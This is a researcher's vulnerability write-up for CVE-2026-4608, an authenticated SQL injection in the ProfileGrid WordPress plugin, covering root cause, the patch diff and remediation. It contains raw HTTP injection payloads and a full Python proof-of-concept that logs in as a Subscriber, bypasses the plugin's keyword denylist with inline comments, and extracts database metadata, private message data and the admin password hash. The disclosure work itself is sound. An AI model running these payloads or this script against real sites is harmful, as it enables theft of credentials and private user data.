Skip to content

CVE-2026-4608: ProfileGrid rid SQL Injection

TL;DR

  • I found an authenticated SQL injection vulnerability in ProfileGrid, a WordPress user profile and community plugin.
  • The bug affected the private messaging profile view and could be exploited by any logged-in Subscriber-level user.
  • A vulnerable rid parameter was used while looking up message threads, allowing an attacker to change the SQL query executed by the plugin.
  • In testing, the vulnerability allowed extraction of database metadata and private ProfileGrid message thread data.
  • The plugin attempted to block dangerous SQL keywords, but that denylist could be bypassed with MySQL inline comments.
  • The issue affects ProfileGrid <= 5.9.8.4, was assigned CVE-2026-4608, and was patched in ProfileGrid 5.9.8.5.

Summary

ProfileGrid was vulnerable to authenticated SQL injection in its messaging thread lookup, allowing Subscriber-level users to extract database data through the rid parameter.

  • CVE: CVE-2026-4608
  • Product: ProfileGrid - User Profiles, Groups and Communities
  • Vulnerability: SQL Injection via rid Parameter
  • Affected Versions: <= 5.9.8.4
  • Fixed In: 5.9.8.5
  • CVSS Severity: 6.5 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Required Privilege: Subscriber+
  • NVD Published: May 13, 2026

ProfileGrid accepted rid from the profile URL, used it to build a messaging-thread lookup, passed the lookup condition through a denylist, then executed the final SQL without preparing it. The denylist blocked obvious strings like UNION, SELECT, and FROM, but it did not make the SQL fragment safe.

Introduction

[A]I was looking at ProfileGrid's frontend messaging code and noticed the profile view used a request parameter to decide which private message thread to load. The relevant path took the current user ID, another user ID from the request, and looked up the private thread between them.

The request value was supposed to be a user ID, so I expected to see an integer cast before the SQL lookup. Instead, rid stayed as request-controlled text all the way into a raw SQL fragment.

The missing cast was only one part of the bug. ProfileGrid had a SQL keyword denylist in the database helper, so the first obvious payloads were stripped. But the filter was still string matching, and MySQL has more than one way to structure a query 😼

Root Cause Analysis

The rid Source

The vulnerable source is in public/class-profile-magic-public.php.

$rid          = filter_input( INPUT_GET, 'rid' ); // [1] Raw rid from the query string.
$current_user = wp_get_current_user();
$profilechat  = new ProfileMagic_Chat();
$pmrequests   = new PM_request();

if ( ! isset( $tid ) ) {
    $tid = $pmrequests->get_thread_id( $rid, $uid ); // [2] Passed into the thread lookup.
}

The important part is that rid is still raw at [1], then handed straight to get_thread_id() at [2]. It is supposed to be another user's ID, but nothing casts it to an integer before it leaves the profile view.

Raw SQL Fragment Construction

The next step is get_thread_id() in includes/class-profile-magic-request.php.

public function get_thread_id( $sid, $rid ) {
    if ( $sid != '' && $rid != '' ) {
        $dbhandler  = new PM_DBhandler();
        $identifier = 'MSG_THREADS';
        $where      = 1;
        $additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)"; // [3] rid is interpolated into SQL.
        $thread     = $dbhandler->get_all_result( $identifier, $column = 't_id', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional ); // [4] Raw fragment is passed down.

        if ( isset( $thread ) && count( $thread ) > 0 ) {
            $tid = $thread[0]->t_id;
            return $tid;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

Inside get_thread_id(), that request-controlled value is dropped into the SQL fragment at [3]. The raw condition is then passed to the shared database helper at [4]. With a normal rid value like 5, the condition is harmless. With 0) OR 1=1#, the attacker controls the rest of the WHERE clause.

Execution Without prepare()

That fragment then reaches get_all_result() in includes/class-profile-magic-dbhandler.php.

} elseif ( $where == 1 ) {
    if ( $additional!='' ) {
        $additional = $this->pm_filter_addtional_query_parameter($additional); // [5] Denylist filter.
        $qry .= ' ' . $additional; // [6] Filtered fragment is appended to the query.
    } else {
        $qry .= ' 1';
    }
}

$method_name = 'get_' . $result_type;
if ( count( $args ) === 0 ) {
    if ( $result_type === 'results' ) :
        $results = $wpdb->$method_name( $qry, $output ); // [7] No args means no prepare().
    else :
        $results = $wpdb->$method_name( $qry );
    endif;
} else {
    if ( $result_type === 'results' ) :
        $results = $wpdb->$method_name( $wpdb->prepare( $qry, $args ), $output );
    else :
        $results = $wpdb->$method_name( $wpdb->prepare( $qry, $args ) );
    endif;
}

The database helper does run the fragment through pm_filter_addtional_query_parameter() at [5], then appends whatever comes back to the query at [6]. For this call path there are no placeholder arguments, so the branch at [7] executes the query without $wpdb->prepare(). The denylist is the only guard left.

The Denylist

ProfileGrid tries to protect $additional with a forbidden keyword list:

public function pm_filter_addtional_query_parameter($additional)
{
    $forbidden_keywords = array('union', 'select', '+','sleep', '...','INSERT','DELETE','UPDATE','DROP','EXEC','EXECUTE','DECLARE','FROM','ORDER BY','--');
    // Check if $additional contains any forbidden keywords
    foreach ($forbidden_keywords as $keyword) {
        if (stripos($additional, $keyword) !== false) {
            // Handle the error or sanitize the $additional parameter as needed
            $additional = '';
            return '';
        }
    }
    return $additional;
}

Which blocks some obvious payloads:

0) UNION SELECT user_pass FROM wp_users#

But the query is still not parameterized. A denylist has to understand every dangerous SQL spelling, every parser feature, and every context where the fragment might land.

Boolean Injection Without Blocked Keywords

The filter does not block boolean operators, MySQL metadata functions, system variables, or the # comment character. That is enough for blind extraction:

GET /profile/?rid=0)%20OR%20(ASCII(MID(DATABASE(),1,1))%3E90)%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

The injected condition controls whether the thread lookup returns a row. ProfileGrid then renders the selected thread ID into a hidden field in the messaging UI:

<input type="hidden" id="thread_hidden_field" name="tid" value="1" />

That gives a boolean oracle:

  • non-empty, non-zero tid: true
  • missing or 0 tid: false

From there, ASCII(MID(...)) binary search is enough to extract values such as DATABASE(), USER(), VERSION(), and @@datadir.

Same-table data is also reachable without SELECT or FROM, because the injected condition is already evaluated against the msg_threads table:

GET /profile/?rid=0)%20OR%20(t_id%3D1%20AND%20ASCII(MID(title,1,1))%3E65)%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

That can extract private message thread fields such as title, thread_desc, s_id, r_id, timestamps, and status values.

Inline Comment Bypass

The denylist can also be bypassed for cross-table extraction.

The filter uses stripos() on the raw SQL fragment. MySQL treats inline comments as whitespace, but PHP's stripos() does not collapse comments before searching for blocked keywords.

So these strings pass the PHP denylist:

Blocked keywordBypassMySQL parses as
UNIONUN/**/IONUNION
SELECTSE/**/LECTSELECT
FROMFR/**/OMFROM

The resulting payload can use a UNION SELECT while avoiding the literal blocked substrings:

GET /profile/?rid=0)%20OR%201=1%20UN/**/ION%20SE/**/LECT%20user_pass%20FR/**/OM%20wp_users%20WHERE%20user_login='admin'%20LIMIT%201%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

The original query selects one column, t_id, from the message thread table. A one-column UNION SELECT fits that shape. The returned value is then assigned to $thread[0]->t_id, becomes $tid, and is rendered into the same hidden field.

That moves us from blind same-table extraction into direct cross-table extraction, subject to the target database, table prefix, and rendered output constraints.

wp_magic_quotes Does Not Save This

WordPress applies wp_magic_quotes() to superglobals such as $_GET, $_POST, $_COOKIE, and $_REQUEST. That often changes how quote-based payloads behave in WordPress plugins.

Here, rid is read with filter_input( INPUT_GET, 'rid' ), which pulls from PHP's input handling rather than WordPress's already-slashed $_GET superglobal. WordPress's normal wp_magic_quotes() behaviour therefore does not escape the value before it reaches the SQL fragment. Single quotes in rid reach the query unescaped, and the issue does not depend on disabling WordPress magic quotes.

Impact

An authenticated Subscriber could:

  • Extract MySQL metadata such as database name, database user, server version, and data directory.
  • Read private ProfileGrid message thread data from the msg_threads table.
  • Enumerate thread IDs, sender IDs, receiver IDs, timestamps, statuses, titles, and descriptions.
  • Bypass the plugin's SQL keyword denylist with MySQL inline comments.
  • Potentially extract cross-table data, including WordPress user data, where the table prefix is known or guessed.

The vulnerability does not provide unauthenticated access. It requires a logged-in WordPress account and a reachable ProfileGrid profile/messaging view. On a community site using ProfileGrid, Subscriber-level accounts are usually expected to be low-trust users, so the privilege requirement is still meaningful.

Exploitation

Preconditions

  • The attacker has a Subscriber-level WordPress account.
  • ProfileGrid is active.
  • A frontend page renders the ProfileGrid profile shortcode, for example /profile/.
  • The messaging tab is reachable.
  • For the easiest rendered-output oracle, at least one row exists in the ProfileGrid message threads table.

Manual Requests

Boolean metadata extraction:

GET /profile/?rid=0)%20OR%20(ASCII(MID(DATABASE(),1,1))%3E90)%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

Same-table private message extraction:

GET /profile/?rid=0)%20OR%20(t_id%3D1%20AND%20ASCII(MID(title,1,1))%3E65)%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

Cross-table denylist bypass:

GET /profile/?rid=0)%20OR%201=1%20UN/**/ION%20SE/**/LECT%20user_pass%20FR/**/OM%20wp_users%20WHERE%20user_login='admin'%20LIMIT%201%23 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>

PoC

Below is the full PoC. It logs in as a Subscriber, discovers the ProfileGrid profile page unless one is supplied, calibrates the tid oracle, attempts the inline-comment UNION SELECT bypass, and can fall back to blind extraction.

#!/usr/bin/env python3
import argparse
import re
import sys
from urllib.parse import quote, urljoin

import requests


def login(session, target, username, password):
    domain = target.replace("https://", "").replace("http://", "").split("/")[0]
    session.cookies.set("wordpress_test_cookie", "WP Cookie check", domain=domain)
    session.post(
        urljoin(target, "/wp-login.php"),
        data={
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "testcookie": "1",
        },
        allow_redirects=False,
        timeout=15,
    )
    return any("wordpress_logged_in" in c.name for c in session.cookies)


def find_profile_page(session, target):
    try:
        response = session.get(
            urljoin(target, "/wp-json/wp/v2/pages"),
            params={"per_page": 100},
            timeout=10,
        )
        if response.status_code == 200:
            for page in response.json():
                content = page.get("content", {}).get("rendered", "")
                link = page.get("link", "")
                if "PM_Profile" in content or "profilegrid_profile" in content:
                    return link
    except Exception:
        pass

    for slug in (
        "/profile/",
        "/user-profile/",
        "/my-profile/",
        "/members/profile/",
        "/account/",
        "/pg-profile/",
    ):
        url = urljoin(target, slug)
        try:
            response = session.get(url, timeout=10)
            if response.status_code == 200 and any(
                marker in response.text
                for marker in ("pg-message", "pm-profile", "profilegrid", "pg-profile-tab")
            ):
                return url
        except Exception:
            pass

    return None


def fetch_profile(session, profile_url, rid_payload):
    separator = "&" if "?" in profile_url else "?"
    url = profile_url + separator + "rid=" + quote(rid_payload)
    return session.get(url, timeout=20).text


def extract_tid(html):
    match = re.search(
        r'id=["\']thread_hidden_field["\'][^>]*value=["\']([^"\']*)["\']',
        html,
    )
    if not match:
        match = re.search(
            r'value=["\']([^"\']*)["\'][^>]*id=["\']thread_hidden_field["\']',
            html,
        )
    return match.group(1).strip() if match else None


def bool_oracle(session, profile_url, condition):
    payload = f"0) OR ({condition})#"
    tid = extract_tid(fetch_profile(session, profile_url, payload))
    return bool(tid and tid not in ("", "0"))


def calibrate(session, profile_url):
    true_tid = extract_tid(fetch_profile(session, profile_url, "0) OR (1=1)#"))
    false_tid = extract_tid(fetch_profile(session, profile_url, "0) OR (1=2)#"))
    return true_tid, false_tid


def union_extract(session, profile_url, column, table, where="1=1"):
    payload = (
        "0) OR 1=1 "
        f"UN/**/ION SE/**/LECT {column} "
        f"FR/**/OM {table} "
        f"WHERE {where} LIMIT 1#"
    )
    return extract_tid(fetch_profile(session, profile_url, payload))


def blind_char(session, profile_url, expression, position):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        condition = f"ASCII(MID(({expression}),{position},1))>{mid}"
        if bool_oracle(session, profile_url, condition):
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else ""


def blind_extract(session, profile_url, expression, label=None, max_len=80):
    label = label or expression
    result = ""
    for position in range(1, max_len + 1):
        char = blind_char(session, profile_url, expression, position)
        if not char:
            break
        result += char
        print(f"\r  [{label}] {result}", end="", flush=True)
    print()
    return result


def get_args():
    parser = argparse.ArgumentParser(
        description="ProfileGrid <= 5.9.8.4 Subscriber+ SQL injection PoC"
    )
    parser.add_argument("--target", required=True, help="WordPress base URL")
    parser.add_argument("--user", required=True, help="Subscriber username")
    parser.add_argument("--pass", required=True, dest="password", help="Subscriber password")
    parser.add_argument(
        "--profile-page",
        default=None,
        help="URL of the page with the ProfileGrid profile shortcode",
    )
    parser.add_argument("--prefix", default="wp_", help="WordPress table prefix")
    parser.add_argument("--blind", action="store_true", help="Skip UNION extraction")
    return parser.parse_args()


def main():
    args = get_args()
    target = args.target.rstrip("/")

    session = requests.Session()
    session.headers["User-Agent"] = "Mozilla/5.0"

    print(f"[*] Logging in as '{args.user}'...")
    if not login(session, target, args.user, args.password):
        sys.exit("[-] Login failed")
    print("[+] Authenticated")

    profile_url = args.profile_page
    if not profile_url:
        print("[*] Discovering ProfileGrid profile page...")
        profile_url = find_profile_page(session, target)
    if not profile_url:
        sys.exit("[-] Could not find the profile page. Use --profile-page.")
    print(f"[+] Profile page: {profile_url}")

    print("[*] Calibrating boolean oracle (1=1 vs 1=2)...")
    true_tid, false_tid = calibrate(session, profile_url)
    print(f"    TRUE  payload -> tid={true_tid!r}")
    print(f"    FALSE payload -> tid={false_tid!r}")

    if true_tid == false_tid:
        sys.exit(
            "[-] Oracle did not produce different TRUE/FALSE values.\n"
            "    This usually means no message thread row is available to render.\n"
            "    Create or identify any ProfileGrid message thread and retry."
        )

    if not args.blind:
        print("[*] Attempting UNION extraction with inline-comment denylist bypass...")
        admin_hash = union_extract(
            session,
            profile_url,
            "user_pass",
            f"{args.prefix}users",
            "user_login='admin'",
        )
        if admin_hash:
            print(f"[+] admin user_pass: {admin_hash}")
        else:
            print("[!] UNION extraction returned empty; switching to blind mode.")
            args.blind = True

        database_name = union_extract(
            session,
            profile_url,
            "DATABASE()",
            "(SE/**/LECT 1) AS x",
            "1=1",
        )
        if database_name:
            print(f"[+] DATABASE():     {database_name}")

    if args.blind:
        print("[*] Blind extraction...")
        blind_extract(session, profile_url, "DATABASE()", "DATABASE()")
        blind_extract(session, profile_url, "USER()", "USER()")
        blind_extract(session, profile_url, "VERSION()", "VERSION()")
        blind_extract(session, profile_url, "@@datadir", "@@datadir")
        blind_extract(
            session,
            profile_url,
            f"SE/**/LECT user_pass FR/**/OM {args.prefix}users "
            "WHERE user_login='admin' LIMIT 1",
            "admin hash",
        )

    print("[+] Done")


if __name__ == "__main__":
    main()

Demo

The demo below shows the boolean oracle, MySQL metadata extraction, and same-table extraction of private message thread titles:

python3 profilegrid-rid-sqli.py \
  --target http://target.example \
  --user subscriber \
  --pass 'password123' \
  --profile-page http://target.example/profile/

Terminal output showing the ProfileGrid rid SQL injection PoC extracting database metadata and private message thread titles

Patch Diffing

The 5.9.8.5 patch changes the messaging thread lookup in includes/class-profile-magic-request.php. Unrelated hunks from the same release are omitted here.

The change is input handling. The patched version no longer trusts $sid and $rid as raw values, casts both to positive integers, then builds the remaining SQL fragment with integer formatting.

 public function get_thread_id( $sid, $rid ) {
-    if ( $sid != '' && $rid != '' ) {
+    $sid = absint( $sid );
+    $rid = absint( $rid );
+    if ( $sid > 0 && $rid > 0 ) {
         $dbhandler  = new PM_DBhandler();
         $identifier = 'MSG_THREADS';
         $where      = 1;
-        $additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+        $additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
         $thread     = $dbhandler->get_all_result( $identifier, $column = 't_id', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );

The same integer-cast and integer-formatting pattern was also applied to is_thread_exsist(), which built the same s_id/r_id condition.

This closes the injection path because the dynamic fragment is no longer built from attacker-controlled SQL. The query still goes through get_all_result() and the denylist still exists, but rid has already been reduced to a positive integer before that point.

The patch did not need a longer denylist. SQL fragments built from user-controlled strings should not rely on blocked keywords as a security boundary.

Remediation

Site owners should update ProfileGrid to version 5.9.8.5 or later.

If immediate patching is not possible, restrict low-trust account creation and limit access to ProfileGrid profile/messaging pages until the plugin can be updated.

Disclosure Timeline

  • April 2, 2026: Submitted to the Wordfence bug bounty program.
  • May 12, 2026: Published by Wordfence as CVE-2026-4608.
  • Bounty: $31.

Conclusion

The root cause was simple (and classic); a user ID was treated as text and interpolated into SQL. The failed safety layer made exploitation less obvious, but did not make the query safe.

A SQL keyword denylist can make exploitation less direct, but it does not turn dynamic SQL into prepared SQL. In this case, boolean conditions were enough for blind extraction, same-table fields were already in scope, and MySQL inline comments bypassed the blocked UNION SELECT FROM strings entirely.

The fix is to make rid an integer before it reaches the query and to avoid building SQL syntax from request-controlled text.

References